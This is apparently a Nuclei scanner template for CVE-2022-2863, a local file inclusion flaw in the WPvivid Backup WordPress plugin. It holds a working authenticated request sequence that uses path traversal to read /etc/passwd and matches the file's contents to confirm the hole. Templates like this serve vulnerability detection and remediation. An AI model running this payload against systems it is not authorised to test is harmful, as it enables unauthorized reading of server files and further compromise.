CVE-2022-2863: WordPress WPvivid Backup <0.9.76 - Local File Inclusion

id: CVE-2022-2863

info:
  name: WordPress WPvivid Backup <0.9.76 - Local File Inclusion
  author: tehtbl
  severity: medium
  description: WordPress WPvivid Backup version 0.9.76 is vulnerable to local file inclusion because the plugin does not sanitize and validate a parameter before using it to read the content of a file, allowing high privilege users to read any file from the web server.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire WordPress installation.
  remediation: Upgrade to version 0.9.76 or later.
  reference:
    - https://seclists.org/fulldisclosure/2022/Oct/0
    - https://wpscan.com/vulnerability/cb6a3304-2166-47a0-a011-4dcacaa133e5
    - http://packetstormsecurity.com/files/168616/WordPress-WPvivid-Backup-Path-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2863
    - https://github.com/rodnt/rodnt
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 4.9
    cve-id: CVE-2022-2863
    cwe-id: CWE-22
    epss-score: 0.25286
    epss-percentile: 0.97829
    cpe: cpe:2.3:a:wpvivid:migration\,_backup\,_staging:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 3
    vendor: wpvivid
    product: migration\,_backup\,_staging
    framework: wordpress
  tags: cve,cve2022,wp,wpscan,seclists,packetstorm,authenticated,lfi,wordpress,wp-plugin,wpvivid,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=WPvivid HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-admin/admin-ajax.php?_wpnonce={{nonce}}&action=wpvivid_download_export_backup&file_name=../../../../../../../etc/passwd&file_size=922 HTTP/1.1
        Host: {{Hostname}}
        Referer: {{BaseURL}}/wp-admin/admin.php?page=WPvivid

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - '"_ajax_nonce":"([0-9a-z]+)"'
        internal: true
        part: body
# digest: 4a0a0047304502204f0d60cc8edcce8426e1b0954bb5d3ac0fb0f6dcdd104181b74318b7204ef67d022100fbd6e13b0a3978445055e172a951526315dc4bb597a9e6a5b4514af4924f05d4:922c64590222798bb761d5b6d8e72950

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